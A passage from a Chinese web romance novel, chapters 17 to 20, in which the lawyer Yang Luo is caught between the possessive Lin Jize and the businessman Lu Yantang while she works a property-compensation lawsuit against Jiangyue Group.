林纪泽脸上溢起一丝嗜血的笑容,突然朝他扔了一把匕首。
陈桥望着地上冷森森的刀,背后惊起一身冷汗,可下一秒林纪泽却把刀塞进他的手里,握着他的手腕,把刀直直抵上自己心口。
“你那么爱她,那就杀了我。”
陈桥吓傻了:“什么?”
林纪泽:“你既然爱她,就应该保护她。我过去欺负她,现在欺负她,以后还要欺负她,我就是要把她从你身边抢过来,你不恨我吗?恨我你就杀了我啊!”
陈桥拿着刀的手在发抖。
“我要是爱一个女人,别的男人看她一眼我都要把他的眼珠子挖下来,谁跟我抢我就弄死谁。陈桥,你不是说你爱她吗,你那么爱她,为什么不杀了我?”
林纪泽握着陈桥的手腕用力,真把刀尖戳到来他胸膛里,白色衬衣渗出丝丝血迹,陈桥颤抖的往回缩,可力气不敌林纪泽的一半。
陈桥:“疯子!你这个疯子!”
陈桥用力挣开,匕首掉在地板上。林纪泽站起身来,不顾胸前血红一片,刀劈斧削般的面容露出诡异的笑容。
“你爱她就不该让我和你抢,你既然让我抢,那就别怪我不客气。”
22. 第17章
林纪泽满身是血的出来,杨珞顿感手脚冰凉,她第一反应是陈桥出事了,拔腿就往里面冲。
杨珞单薄的身体被林纪泽一把拉回来,她拼命撕扯,双手锤在他刚刚被刀刺过的伤口上,但林纪泽似乎感觉不到。
杨珞满脑子都是陈桥,他和林纪泽争执,只会受更重的伤。她拼命挣扎,眼泪不受控制的流出。
林纪泽禁锢着她,双手紧紧捧着她的脸,待到她只剩下低声抽泣,凑到她耳边,一字一句道:“杨珞,我和陈桥玩儿腻了,你去和他做个了断吧。从今以后,是爱是恨,是死是活,都是我们两个之间的事了。”
杨珞嘶吼:“你为什么要这样,你不爱我,你不是爱我。”
这不是爱,杨珞拼命摇头,这根本不是爱。
林纪泽:“你凭什么说我不爱你?谁规定这世间上的爱只有他那一种?你都没仔细看过我的爱,凭什么否认它?”
杨珞哭的歇斯底里。
林纪泽就这么托着她,才有力气继续站着。
时间仿佛过去了许久,她像是用一场眼泪祭奠自己即将逝去的爱情。在漫长而彻骨的痛哭中,她压下了恨意,放走了无奈,最后如行尸走肉般沉默了下来。
林纪泽温柔的拭去她的眼泪,语气轻柔的像在哄小孩子:“去吧,告诉陈桥,从今天开始你们会一刀两断,自此之后我就放过他。”
昏暗的拘留室里,只有一道从窗户处照进来的光,映在陈桥一侧的脸颊上。他坐在地上,灰头土脸,可却始终仰头看着窗外的天空。
那是掩盖不住的意气风发,是一个少年心里永不磨灭的希望。
铁门被推开,杨珞踉跄的跑过来蹲在他旁边,着急的检查他身上的每一处。
“珞珞,我没事,我没事。”
杨珞有些不敢相信林纪泽居然没伤害他。
陈桥:“我们可以走了吗?林纪泽没有为难你吧?”
杨珞低着头,不敢看他。
陈桥看着杨珞,好像突然知道了什么。
杨珞哽咽着开口:“陈桥——”
陈桥:“别说!”
他猜到了。
杨珞固执的开口,她再不能拖累陈桥。
“陈桥,我们……”
“不许说!”
陈桥怒吼,转过身去,他红了眼眶,却不愿落下一滴泪。为什么会这样?秩序、法治、公正全都不在了,为什么会这样?
杨珞张了张口,却说不出一句话。
她舍不得,她真的舍不得。
这是她的初恋,是一个满眼都是她的男孩。
要她怎么舍得。
林纪泽在门口抽到第三支烟时杨珞才出来。
她神情呆滞,看不出什么情绪。
林纪泽将烟踩灭,上前问道:“说完了吗?”
杨珞抬头,看着他:“没有,我什么都没说。”
林纪泽的目光阴冷下来:“既然你——”
“林纪泽。”
杨珞打断他。
“我们谈谈吧。”
——
杨珞在宴会上和林纪泽不欢而散,车上一路沉默,杨珞到家后发现灯开着,唐亭不知去向,但是桌上的酒和烟留着她方才的痕迹。
杨珞扯掉这身叫人憋闷的礼服,顺着沙发脚坐在地毯上。她静坐片刻,从唐亭的烟盒里拿出一支,较为生疏的点燃。
香烟也麻痹不了她乱糟糟的心。
李伟的出现将陈桥扯了出来,在她心底划过一丝涟漪。
她已经有段时间没想起陈桥了。
有些意外,她以为自己会走不出来,可时间能抹平很多东西。
或许她很久之前就做好了要和陈桥分开的准备,又或许他们的结束是陈桥提出来的,所以她心底的愧疚终究少了一点。
其实在分开前就爆发过许多争吵,他们的感情在林纪泽一次次的介入后已经摇摇欲坠。
如今两不相欠,杨珞也彻底放下了。
窗外响着蝉鸣,在夏夜里格外聒噪,她起身倚坐在落地窗前,望着空中那轮圆月。
烟要燃尽了,杨珞却没抽几口。她低头看着指尖的火星,想到了走廊里的那支烟。
她第一次见陆砚堂抽烟,在波尔多的时候在他房间里连烟缸都没见到,那是她只觉得那个男人温柔儒雅,风流矜贵。
杨珞无奈的笑了笑,抬手捻灭了烟头。
波尔多的陆淮和现在的陆砚堂,仿佛是两个人。
杨珞心中最后的希望也没有了。
她以为□□愉在陆砚堂眼里只是消遣,根本不屑和自己再有瓜葛,可今晚这个想法彻底被打破。
他为什么要在那个地方出现,要用那种眼神看着她,要做那样暧昧的事情。
杨珞不知道陆砚堂到底想干什么,但好像一切又变得复杂起来。
唐亭开门回来,打断了杨珞的思绪。她提着一个文件袋,看到杨珞回来的时候些许惊讶。
“怎么回来的这么早?”
杨珞:“跟林纪泽吵了一架,还没结束就先走了。”
唐亭:“吵架,他没对你怎么样吧?”
杨珞摇了摇头:“没有,对了,东西我给周诠了,没有人发现。他让我跟你说,最近唐言声很谨慎,你一定要小心。”
唐亭把文件袋的东西一件件整理好。
“他最近谨慎不是因为我,最近整个唐家都自身难保,黑白都吃不下了,西京就快没有他们的立足之地了。”
杨珞不懂这些,只关心唐亭:“那你呢?”
唐亭的手顿了顿:“我只是唐家的一枚棋子,什么时候用,还不知道。”
杨珞不知说什么,只好沉默了下来。
自己身不由己,唐亭又何尝不是?自唐亭的母亲去世后,她就被接到唐家,借着亲情的名义,引诱着从未尝过父爱滋味的唐亭。可唐家怎么会要一个闲人,他们要的是一个能名正言顺替他们挡枪的棋子。
曾经杨珞天真的问过她,既然如此为什么不一走了之。
唐亭只是无奈的笑了笑:“我留下,还有活着的余地。如果走了,他们或许要我去死。”
唐亭收好文件,问:“我听说陆砚堂也去了。”
她心底有隐隐疑虑,但却犹豫着没问出口。
“你想问什么就问。”
杨珞太了解唐亭了。
被她一说,唐亭笑道:“我想问什么你清楚,你怎么答我也清楚。索性不问了。”
唐亭的话不假。杨珞知道唐亭想问陆砚堂和她之间的事,可是她之于陆砚堂,现在能说出个什么呢?人家想干什么她都不清楚,此刻的她如同板上的鱼肉,只能走一步看一步。唐亭自然也知道,便心照不宣的不提了。
往后几天杨珞每天都去律所,一门心思扑在手下的案子上。林纪泽虽奔着她来的西京,可总也不能当甩手掌柜,好些个事儿找上门,好些个人来巴结,再加上两人那天吵了一架,他也没有再来找杨珞。陆砚堂在此之后再没主动联系过她,工作上的事儿都是陵川法务直接和她对接。杨珞虽然心里犯嘀咕,但却觉得这样挺好。金钱和劳动力的交易,简单直白。
下午和组里的人开了一个简短的会,会议结束,周淼若有所思的看着杨珞。
杨珞不由得问她:“我脸上有花吗?看我干嘛?”
周淼神神秘秘,说:“没有,我就是觉得你好拼命啊,自打接了这个案子一天都没闲过,恨不得不睡觉似的。”
杨珞:“哪个做律师的不拼命?”
周淼:“那也不像你这样的啊,况且这个案子也不急,好像你慢一天,钱就跑了似的。”
杨珞听了周淼的话,不由得笑了笑。她不懂,自己是真的怕钱跑了。但转念一想,自己没日没夜忙着攒钱逃命,但别人的日子还得过啊,这几天组里的其他人也跟着自己连轴转,要不是周淼调侃她她都没注意。
“这几天确实太忙了,之后的工作不用赶那么紧,你们该休息就休息。”
周淼听了摇了摇头:“我倒是不怕累,反正闲着也是闲着。”
杨珞:“闲着就去谈谈恋爱,陪陪父母,好好过过小日子。”
周淼切了一声,说:“我才不想谈恋爱呢,男人没一个好东西。”
这话倒把杨珞逗笑了。
周淼话锋一转,说:
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“跟你说件案子的事儿。”
杨珞抬起头来,看她一瞬,示意她说。
周淼:“这次江月的案子所有上诉的原告我们都联系过了,但是还有一个是没有起诉的,我在想我们能不能主动联系,把他也纳进来。”
杨珞疑惑片刻,房产赔偿不是小案子,涉及到的钱也不是小钱,别人巴不得通过诉讼多捞点钱回来,怎么还会有人不起诉?
“有人没起诉?怎么回事儿?”
周淼:“是这样的,当时江月集团的购房批次里,有一个姓王的老爷爷,他当时买了最小的户型,付的还是全款。但是后面房子出事以后,他也没有上诉。其实我知道他不是因为这次案子,你把这案子拿下来之前我就认识那个老爷爷了。是我半年前去江月集团办事儿的时候,那时候江月集团的房子刚出事儿,那个老爷爷就去集团总部找他们,我刚好在外面路过,就碰见了。那时候江月的保安没让他进。”
杨珞:“没让他进?”
周淼放低了声音:“因为他是个清洁工,去的那天好像刚下班,浑身脏兮兮的,保安就把他拦在了外面。”
冷漠的保安和焦急的老爷爷在门口对峙着,保安害怕脏兮兮的老人影响那些光鲜亮丽的客人,厉声将他赶的远远的。那时江月的人被房产出事闹的头痛欲裂,一听有人来讨赔偿,立马提心吊胆,但一看是个穿的破破烂烂的老人,又摆出了一副趾高气昂的样子,对他所有的诉求视而不见,只冷冰冰说了一声:“先回去等着,会赔的。”
一句轻飘飘的承诺,把老人堵在了外面,他不知道是该继续问,还是该回去等。他什么都不懂,本本分分攒了一辈子的钱,用全款给儿子买了一个小小的婚房,甚至都不知道原来还可以贷款。他怕自己继续纠缠人家,反而给人家添麻烦。又怕自己真的回去等,又等不到。
进退两难的老人徘徊在江月集团的大门前,久久没有离去。周淼办完事儿出来的时候,看到的就是这幅场景。
“我那时候其实对江月房地产出事儿的事情有所耳闻,所以我当时不忍心,就带那个老爷爷在旁边坐了坐。他好像什么都不知道,也不知道要起诉,那时候我告诉他可以去起诉江月集团,把房子的钱要回来,他看着我愣了半天,问我起诉要不要钱。我那时候没多想,跟他说要钱,要律师费。然后……然后那个老爷爷就起来走了,他说他没钱付律师费,还是等吧。”
周淼自顾说着,眼底是忍不住的心疼。杨珞心底里也跟着她生出一种愤怒和怜悯来。
“自打那天我就没见过那个老爷爷了,那时候我也忙,就把这事儿忘了。直到前两天你把这个案子拿回来,我才重新想起来。我当时看了所有起诉江月集团的资料,但是没有那个老爷爷。他可能现在都不知道怎么通过法律起诉吧,或者他还觉得他付不起钱。”
懂得保护自己利益的人拼了命搜刮,而真正迫切需要保护的人却又捉襟见肘。江月集团拖了再拖,应付那些拿着法律武器张牙舞爪的人都来不及,怎么会有心思顾及这个在家里乖乖等赔偿的老人呢。
杨珞:“那个老人的资料你还有吗?比如联系方式之类的。”
周淼:“有,我昨天在购房信息里面查到了,还有地址。只不过大家都太忙了,如果当事人本人没起诉,也没有我们主动去的道理。我就没跟下面的人多提,想着还是你来。”
杨珞:“你把资料拿来,我们一起弄。”
周淼火速把这两天弄的信息给杨珞拿了过来。下午的时候杨珞看了看购房合同和其他的材料,确定这个事情不难。
商业竞争本就无情,动辄几个亿的流水眼都不眨,却仍有人为几十万而赔上了一辈子的积蓄。杨珞心里清楚,这个官司是陵川和江月的一场斗争,本无正义可言,可在这之下,能帮到无辜之人一点点,也是极好的。
许是金钱和道德的双重驱动,杨珞比前几天更有干劲了。原告方的势力越大,江月的赔偿压力就越大,于陵川而言这对江月集团是个极大的名誉损失,而于被害人而言,他们得到的赔偿也会更加充分和迅速。
杨珞无比沉浸这种无人打扰的日子,却在一天夜里意外的接到了陆砚堂的电话。
23. 第18章
杨珞刚到家,手机就响了,陌生电话。
做律师这行经常会接到咨询电话,见怪不怪。她一手脱鞋,一手接通电话。
“你好。”
“杨律师,这个案子变得有点复杂了。”
那头的声音笑吟吟的,却透着冷冷的寒意,杨珞当即便听出了陆砚堂的声音。
“陆总,我不太明白你的意思。”
陆砚堂:“你和张凌睿办事我很放心,不过这案子算是陵川和江月的私事儿,林先生如果插手的话,怕是不太好吧。”
杨珞愣住,林先生?林纪泽?
短暂的沉默,陆砚堂似乎没有等杨珞回答的意思,笑道:“如果你和林先生是朋友的话,那就好说了。”
杨珞站在踱步道窗前,沉默许久。自从那天在宴会上见了陆砚堂之后,他就再也没出现过。杨珞心底隐隐担忧他想干什么,甚至觉得他不应该是为了这种小事舍身纠缠的人。
直到现在,从他嘴里听到林纪泽的名字,她才明白是怎么回事儿。
她和林纪泽的瓜葛,从一开始他就知道的一清二楚。亏得她拼命隐藏,到头来还是个笑话。
“陆砚堂。”她直呼其名。“你这样怪没意思的。”
“哦?我怎么样了?”
“你想干嘛?”
陆砚堂微靠在椅子上,手里把玩着一个首饰盒,那是在波尔多他没送出去的礼物。
“别激动,我在跟你谈公事。”
“公事?”杨珞毫不留情的戳破他:“如果谈公事,不应该是你给我打这个电话,应该是陵川的法务负责人。如果是公事,这个电话也不应该打给我,应该打给张凌睿。”
那头传来陆砚堂低沉的笑声:“杨珞,你真的很有趣。”
“谢谢陆先生夸奖,不过我觉得我们之间还是谈公事的好。”
陆砚堂:“公事就是,这件事林纪泽不该插手。”
挂了电话,杨珞一个脑袋两个大。她像个玩具一样被人玩弄于股掌之间,她知道陆砚堂在戏弄她,可似乎又没这么简单。但此刻这件事被他摆明说出来,她也回避不得。
杨珞有些着急,林纪泽和陆砚堂是不一样的,陆砚堂是老狐狸,走一步算十步,步步高深莫测。但林纪泽是随着自己性子,做事不计后果的人。
许是那晚李伟的出现惊动了林纪泽,他的脑子不知道怎么转的,竟然插手了他们之间的公事。
杨珞毫不犹豫的拨通了林纪泽的电话。
电话接通,那边一个字都没有说出,杨珞已经怒骂了起来。
“林纪泽,你到底想干什么,你能不能不要像一个土匪一样,你已经把我的生活搅的不得安宁一次了,你还想再干一次是吗?”
林纪泽忙了许多天,他心底虽然跟杨珞置气,但却硬生生哄好了自己。正想着这几天去找她,却意外等到了她的电话。杨珞极少主动联系她,他看到来电显示的那一刻甚至有一刻惊喜,本是岁月静好,却被劈头盖脸的骂了一顿,他似乎都没反应过来杨珞说了什么,沉默片刻,仍是耐着性子问她:“怎么了?”
杨珞:“你跟我装什么无辜?你找李伟了是吗?”
林纪泽这才反应过来:“对,他找你麻烦,我找人警告他一下。”
杨珞:“天天找我麻烦的不是他,是你!如果不是因为你他为什么会跟我针锋相对?你已经影响我的工作了你知道吗?”
林纪泽压着心里的火,旁边为他添酒的佣人看到他的表情再不敢上前。昨天自己是让手下解决一下李伟的事,他不愿意看到杨珞身边有苍蝇一样的人,事情是他手下刘明做的,具体做了什么,他不知道。
可是刘明对李伟的所有行为,落在江山明和陆砚堂眼里,都是他林纪泽开始插手这件事了。
“你的工作跟我有什么关系,杨珞,我已经给你最大的自由了。你住在哪儿,在哪儿上班,我通通没有限制你,你不要不知好歹。”
“好啊,那我真是要谢谢你的大恩大德。李伟是江山明的律师,在这个节骨眼儿上你说你去找他报私仇,谁会信?!”
林纪泽终于明白怎么回事儿,但杨珞已经掐断电话了。他心里窝了一通火,把她的怒气全盘接受。
沉默半晌,他拨通了刘明的电话。
“去约江山明,找个时间见面。”
杨珞一整个下午都很沉闷,她心里有种隐隐的怨恨,不是恨林纪泽搞砸了自己的计划,而是恨这种失控感。当自己兢兢业业,按部就班的做好每一件事时,偏偏有一双手随意一招,就把你波澜不惊的一切都扰乱了。
那种命运掌握在别人手中的感觉让她窒息,她已经窒息很久很久了,好不容易觉得离开港城,可以自由呼吸时,突然之间发现都是自己的错觉。
杨珞第二天回到律师,周淼便火急火燎的找来。
“这个案子好像暂时推进不了了。”
杨珞:“怎么回事儿?”
周淼:“不知道啊,我今天和江山明的律师团队对接,但是他们一直在推脱。我以为又出什么新情况了,就去找老张,结果他也不知道。说估计集团那边有什么动静,叫我们等等看。”
杨珞皱着没有,没有说话。陆砚堂没有诓她,江山明果然警惕起来了。
周淼:“不过也好,还能歇两天。好久没出去逛街了,明天一起去逛逛。”
杨珞回过神来:“我明天有事儿,就不去了,你去吧。”
周淼:“你有什么事儿啊,又没老公又没对象的,我发现你总是神神秘秘的。”
杨珞冲她笑笑:“私事喽,秘密。”
周淼被她逗笑:“行,那杨女士,希望你的私事也是终身大事,哪天脱单了带给我看看,看您这么大的魅力,最后便宜了谁。”
杨珞:“好呢。”
杨珞没有在跟周淼多贫,收拾东西离开律师。事情是林纪泽做下的,还得他来解决。当务之急是见到林纪泽,把话跟他说清楚。
可她接连打了几个电话都找不到林纪泽。最后在刘明那里知道林纪泽约了江山明见面。
杨珞问了地方,打了车直奔而去。
杨珞在出租车上冷静下来。她大概能猜到林纪泽要干什么,他总是孩子心性,昨天被自己劈头盖脸骂了一顿,现在约江山明也不过是为了在自己面前找补回来。他在赌气,幼稚又可恨。
但现在不是置气的时候,她对林纪泽也算了解,这个人吃软不吃硬,杨珞要让他按照自己的心意做事,就不能像以前那么刚硬。
杨珞从包里拿出纸巾,把口红擦干净,又把早上画的妆弄乱了些,顷刻间显得憔悴不堪。
她不会演戏,一说谎就心慌,所以总要逼真些。
大约四十分钟后才到刘明说的地方。刘明似乎会预料到她来,早早在门口等着了。见她进来,恭恭敬敬的朝她点了点头。
“杨小姐。”
“林纪泽呢?”
“在里面和江老板谈事情。”
“你知道他们在谈什么吗?”
“不知道。”
杨珞不知道林纪泽会让事情往哪方面发展,但既然没有尘埃落定就还来得及组织。
“你进去告诉林纪泽,我有急事找他。”
刘明点头:“好,稍等。”
如果是旁人,刘明会毫不犹豫的拒绝。林纪泽向来讨厌别人打扰,可换成杨珞,刘明生怕自己慢了半步,再被林纪泽收拾。
片刻之后,林纪泽没有立刻出来,却给她打了电话。
那头的声音冷冰冰的,显然还在因为昨天的事生气。
“你找我?”
“你出来一下,我有事要和你说。”
杨珞放缓了
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声音,听起来十分虚弱。
林纪泽敏锐的察觉,沉默片刻,还是出来见了她。
林纪泽本没有好脸色,但刚一出大厅就看到瘫坐在椅子上的杨珞。她这人向来端庄,从不会在大庭广众之下这样子坐着。
林纪泽加快脚步走过去,蹲下来,扶起她,又气又心疼:“你过来干什么?!你怎么了?”
杨珞抬头看他,他才发觉杨珞的脸色很不好。
“肚子疼。”
林纪泽秒懂。他知道杨珞痛经很厉害。
他让旁边的服务生端过来一杯热水,喂着她喝下。杨珞皱着眉头迎合,心里冷若冰霜。
杨珞:“你约江山明干什么?”
林纪泽:“你这副样子,还有心情关心这个?”
杨珞嗔怪:“我怕你把我饭碗弄丢。”
杨珞少有这样耍脾气的时候,平日里她都冷冷淡淡,如今许是难受,整个人看起来多了几分惹人怜爱的柔和。林纪泽心里那团火在不知不觉中就灭了。
林纪泽玩笑道:“打算在这儿再骂我一顿?”
杨珞瞪着他:“我想,但我没力气了。”
她难受的模样到底让林纪泽不舍得,就算她嘴里说出的不是什么好话,他还是心软了。林纪泽看着杨珞蜷缩的模样,脆弱又倔犟,终究是他暗暗叹了口气,问:“说吧,你想让我怎么做?我去做了,你就赶紧回去休息,好吗?”
杨珞:“你约江山明想干什么?”
林纪泽:“想帮你解决江月集团的案子。”
杨珞:“我不要你插手。”
林纪泽沉默片刻,说:“好。”
杨珞:“你去找理由搪塞了江山明,让他知道你和这个案子没有关系,你也不会插手。”
林纪泽又点头:“好。”
杨珞又确认一遍:“你能说到做到吗?”
林纪泽:“能。江山明就在里面,我现在就过去跟他说。”
杨珞这才没有在说话。
林纪泽又道:“其实我一开始就没打算掺和这件事。我只是私下找了李伟,是那个李伟自己捅到江山明跟前的。”
杨珞:“那说来说去,这件事怨我吗?”
林纪泽失笑,现在不是跟她斗嘴的时候。
“你说的我都去做,让刘明送你回家,先好好休息。”
杨珞挣开他:“不用,我自己回。”
林纪泽:“我都答应你了,你还气什么?”
杨珞:“我为什么不能生气?你横插一脚过来没事儿找事儿,现在倒成了我承你的情?”
林纪泽:“今天我们不吵架,你在这儿等着,我让刘明把车开过来。”
杨珞的目的已经达到,她也知道自己不能再激怒林纪泽了。只好顺着他的意等刘明来。杨珞站在餐厅门口,外面下起了蒙蒙小雨,她独自站在楼梯前,望着黑洞洞的天空。
她觉得自己的人生像这天空一样暗无边际。
刘明的车很快开过来,她从后座上车,沉默如斯。
直到下车刘明才跟她说了第一句话。
“杨小姐,到了。”
“谢谢。”
她开门下车,慢慢的往回走。心里盘算着怎么把这件事解决了的情况告诉陆砚堂。
可转念一想,这是公事,她也没必要越级跟陆砚堂汇报。他不守规矩,自己可不想跟他再有纠缠。
直接告诉张凌睿,让张凌睿和陵川法务对接就可以了。甚至不用说,江月集团后续恢复行事,一切就不言而明了。
杨珞越想越轻松,一副万事大吉的样子。
走到楼下,突然耳边想起了一声鸣笛,杨珞缓缓的收回目光,看到眼前停了一辆黑色的宾利。车窗降下来,露出程进的脸,他一如既往的礼貌和善。
“杨小姐,陆先生请您上来坐一坐。”
24. 第19章
后座车窗缓缓降下,陆砚堂意料之中的看着杨珞。
“不知道杨小姐能不能赏脸一起吃个饭。”
杨珞没有立刻说话,而是站在那儿静静地看了他一会儿。
她知道陆砚堂刻意过来,想躲也躲不掉。
“陆先生,看来您久等了。”
陆砚堂做了个请的手势,杨珞拉开门上了车。
“吃饭就不用了,陆先生有什么话,就在这儿说吧。”
陆砚堂没有勉强的意思,程进十分识相的从驾驶座旁边的抽屉里摸了烟出来。
“我出去抽根烟。”
车里只剩他们两个人,氛围静谧的很。
陆砚堂认真打量她一眼,脸色有些苍白,平日里的红唇也没了一点颜色。
“不舒服吗?”
杨珞:“没有,您想跟我说什么?”
陆砚堂:“就这么不想见我?”
杨珞:“我卑不足道,在陆先生面前诚惶诚恐。”
陆砚堂笑了笑,打趣道:“你倒是一直伶牙俐齿。”
和初见的她没什么两样。
杨珞不愿与他打情骂俏,单刀直入:“你想问江月集团的案子是吗?很顺利,林纪泽也不会再插手。”
陆砚堂微微侧过身来:“我当然相信你的能力,只是林先生突然插手,是我没想到的。”
杨珞知道陆砚堂话里话外的意思。
“陆先生,勾引你难道是一件很容易的事吗?”
陆砚堂被这没头没尾的一句话弄的有点懵。
“林纪泽就算要对付你,也不会把宝压在一个女人身上。”
杨珞看向他,轻嘲般出声:“到了这个地步你又何必假惺惺。你做事滴水不漏,应该也很仔细的调查过我吧。”
杨珞直起身来,尽量让自己说的话有分量些。陆砚堂对她的回答并不意外,似乎在他短暂的印象里,这个女人是聪明的。
见他不说话,杨珞知道他是默认了。
“一开始我以为陆总小孩子心性,会因为那点儿露水情缘穷追不舍,不过是我井底之蛙了。你盯着我,容我跟进江月集团的案子,不就是想利用我牵制林纪泽么。”
陆砚堂轻轻一笑,没有反驳。
“不过陆总你失算了,你太看得起我,也太看得起那位林家二公子了。他本来就没心思对付陆家,防他还不如防江山明。况且他如果真的想跟陆家为敌,有没有我都一样。”
陆砚堂:“这你倒是太冤我了。我有案子,你要赚钱,有何不可?”他逗弄似的看着她:“资本家得利,总要分给劳苦大众一点。”
他就这么漫不经心的把那晚的谈话拎出来,顷刻间把杨珞拉回了那个疯狂的夜晚。杨珞伪装的冷静瞬间坍塌,这副样子落到陆砚堂眼里,正合了他的意。
陆砚堂笑了笑:“你很聪明,不过猜错了一点。我不以为林纪泽会在这个时候在西京跟我争地盘,初来乍到,他还不敢怎么样。我只是想看看,这个林家二公子有几分魄力,能把多少心思花在女人身上。”
陆砚堂微微停顿,紧接道:“说利用你,倒也有点儿。放心,我会补偿你的。”
杨珞不想和他争口舌之快:“补偿不敢当。您想看的东西,您看出来了吗?如果看出来了,我也就没什么利用价值了,以后大家各走各的路,可以吗?如果让那个疯子知道我和陆先生走的这么近,我会吃不了兜着走,我惹不起他,还请您大人有大量,高抬贵手。”
她似乎一刻都不想与他纠缠,陆砚堂看着她满脸的讥笑,惨白的脸色尽显无情。他不由得想起初见她时的端庄亲切,又见时的妩媚撩人,若都是假面,自己倒想看看她还有多少副面孔。
陆砚堂将交叠的双腿放下,打开车窗,扑面而来的热气和嘈杂的声音瞬间淹没了杨珞的身体。他倾身过来,用只能她听到的声音低声道:“我们只是走得近这么简单吗?当初你把我牵扯进来的时候,怎么没想过后果?”
杨珞被他突然凑近吓的一缩:“我没有牵扯你,我也不是有意的,当时在波尔多我根本不知道你是陆砚堂。而且林纪泽也不知道……”
“他不知道就算了?”陆砚堂打断她。
杨珞看着他笑面下的狠戾,有些怕了:“那你到底想怎么样?你不也什么都没告诉我吗?连你的名字都是假的。”
陆砚堂目光在她脸上顿了一秒,许是被杨珞说中了,不再说话,又恢复方才的坐姿。
他自然知道杨珞不是有意要跟他搭上,至于自己为什么重提那段本该被掩埋的事情,他自己都不清楚。
杨珞:“既然都是假的,就当什么也没发生过。”
陆砚堂没有接她的话,狭小的空间陷入了诡异的沉默中。
身边的人一言不发气场也格外强大,在这无声的较量中,杨珞逐渐坐立难安。
好在陆砚堂终于开口了。
他从前排拿了一叠资料给她,话题转的极快。
“江山明想求和。”
话题突然转到工作,杨珞愣了一瞬,接过资料。
江山明求和这件事她能预料到。这个案子跟到现在,其实于情于理江山明都不占,原本想仗着自己过去的根基来跟陵川叫板,但陵川集团显然不想吃这个哑巴亏。耗了许久,这才肯低头。
“那你的意思呢。”
杨珞知道,这件事的走向还是要看陆砚堂的意思。
“跟你们团队的人一起做个方案,他要讲和就讲和,把条件定好。业务的人后续会跟你联系。”
杨珞草草的看了材料,是一些新的内部证据。
“好的。”
陆砚堂打量她,发现她进入工作状态很快,方才还是一副气不过的样子,现在就已经心无旁骛的看材料了。
“下周一跟我出去一趟,去见江山明。带着你的方案。”
杨珞抬头,有些诧异:“你亲自去?”
陆砚堂:“江山明也会亲自到。”
杨珞明白了,这次不单单是案子的事儿。
“好。”
“地方比较远,当天回不来,你准备一下。”
要过夜。
杨珞立刻警觉的朝陆砚堂看了一眼,陆砚堂被她的样子逗笑了。
“想什么呢,谈公事。”
杨珞没有多呆,事情说完就回家了。她回去洗了澡换了衣服,将近十点的时候接到了林纪泽的电话。
“还难受吗?”
杨珞顿时没反应过来,愣了一瞬才想起自己在林纪泽面前装病来着。
“没事了。”
“江山明那边我说好了。他也想和陵川合作,后续应该会进展的很快。”
这个消息杨珞已经从陆砚堂那里知道了,她一手铺着床,将电话夹在耳朵和肩膀中间,有一搭没一搭的应着。
“嗯。”
“还在生气?”
杨珞的手顿了一下。
她
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并没有生气,对于丝毫不想有关系的人,连一丝多余的情绪都不会有。
“没有,就是太累了。过几天还要忙,还要做方案,还得出差。”
林纪泽喝了酒,晚风吹在他脸上,头发飞舞。
他头脑很热,但心里很空。
他很想杨珞,但电话那头冷冰冰的语气却拒人千里之外。
林纪泽觉得自己绝大多数时间都是寂寞的。
因为杨珞,所以更寂寞。
“那就好好休息吧。港城那边带过来一批珠宝,我挑了个好看的给你打了个戒指,等你忙完我给你拿过去。”
“好,没事的话我就先挂了。”
“嗯。”
林纪泽挂了电话,颓然的靠在椅子上。
他突然觉得有些无助。
他从来都不知道怎么叫人爱自己。
他也从未体会过。
--
杨珞接连忙了好几天,这次的方案先和张凌睿商量,然后拿着方案去找陵川的法务,再一起拿着方案去找江月集团的人。
连轴转了三天,总算才敲定。
太阳下山,杨珞看了看表,在工位上伸了懒腰。
“我先撤了,顶不住了。”
张凌睿也开始收拾东西。
“明天得你自己过去,我明天一早还得去趟城西,到时候我直接从城西去。”
是陆砚堂上次跟她说出差的事儿。如果张凌睿也去的话,那就是真的公事儿了。杨珞心里踏实了不少。
“好。”
“走吧,我给你稍回去。”
杨珞到家已经九点,社畜的日子不好过,唐亭给她留了夜宵,半张菜煎饼。
“今天妈妈给我打电话了,问你这几天都忙什么呢,电话也不接。”
“啊?我妈给我打电话了?我都没注意。”
唐亭递过去一杯水:“我都替你说完啦,你那个案子进展到哪一步了,最近几天都不着家。”
杨珞吃掉最后一口菜煎饼:“江山明要和解。”
唐亭讶异:“什么?”
杨珞:“有问题吗?”
唐亭:“可前段时间,我还听说他想和唐继平合作。”
唐继平是唐亭的父亲。
杨珞模模糊糊:“这个我倒不是很清楚,只是陵川和江月集团的合作案都出来了。估计是板上钉钉的事儿。”
唐亭没有说话,似乎在琢磨着什么。
杨珞:“不过明天我要去跟江月集团的人开会,陆砚堂也会去,他们之间应该会聊点什么,我看能不能打听打听。”
唐亭从思绪中回来,捕捉到杨珞话里的信息。
“你和陆砚堂一起去吗?”
杨珞点点头。
“你们走的还挺近。”
杨珞听出她话里有话,本来这几天忙的把和陆砚堂的那点私事儿都抛之脑外了,这会儿又想起来了。
她撇了撇嘴:“他旧事重提了。”
唐亭一怔:“那他什么意思?他想跟你干什么?”
杨珞:“他想利用我摸清楚林纪泽。资本家真是不择手段。”
唐亭:“只有这样吗?”
杨珞被她问住了。
只有这样吗?
她不知道。
直觉告诉她不是,但是好像目前看起来也只是这样。
她搞不懂那个男人。
只觉得每次见他都有些可怕。
25. 第20章
谈判是中午出发,杨珞睡了个懒觉,临到中午时起床给自己弄了点吃的。许是知道自己这次只是工具人,所以也并未太紧张。
从家里过去约莫两个半小时的车程,她正打算是开车还是打车时,就接到了陆砚堂的电话。
“出发了吗?”
杨珞:“还没。”
陆砚堂:“那你下来吧,我在楼下。”
陆砚堂来接她已经让她有些意外了,更意外的是这次程进没跟着他来,是他自己开车。
杨珞还是头一回见陆砚堂开车,不似平日威严的老板模样,穿了一身休闲套装,不像是开会,倒像是去踏青。
杨珞没好意思坐后排让他当司机,乖乖去了副驾驶。
车子起步,陆砚堂问:“准备的怎么样?”
杨珞:“基本上差不多了,方案也和江月集团那边对接好了。”
杨珞详细的给陆砚堂汇报了谈判了流程、内容还有其他事项,活像个述职的员工。其实这些陆砚堂早就清楚了,法务和业务那边的每一个决定都是他亲自批的。
可是他没有打断杨珞,她说正事的时候声音柔柔的,却带着一股沉静。与他的休闲不同,杨珞穿着一身职业正装,包臀西装裙盖住半截大腿,她双腿规矩的叠在一起,上面放着展开的资料。阳光照在她散下的半侧头发上,映出一片光泽来。
“陆先生?”
“嗯?”
“你在听吗?”
“……嗯。”
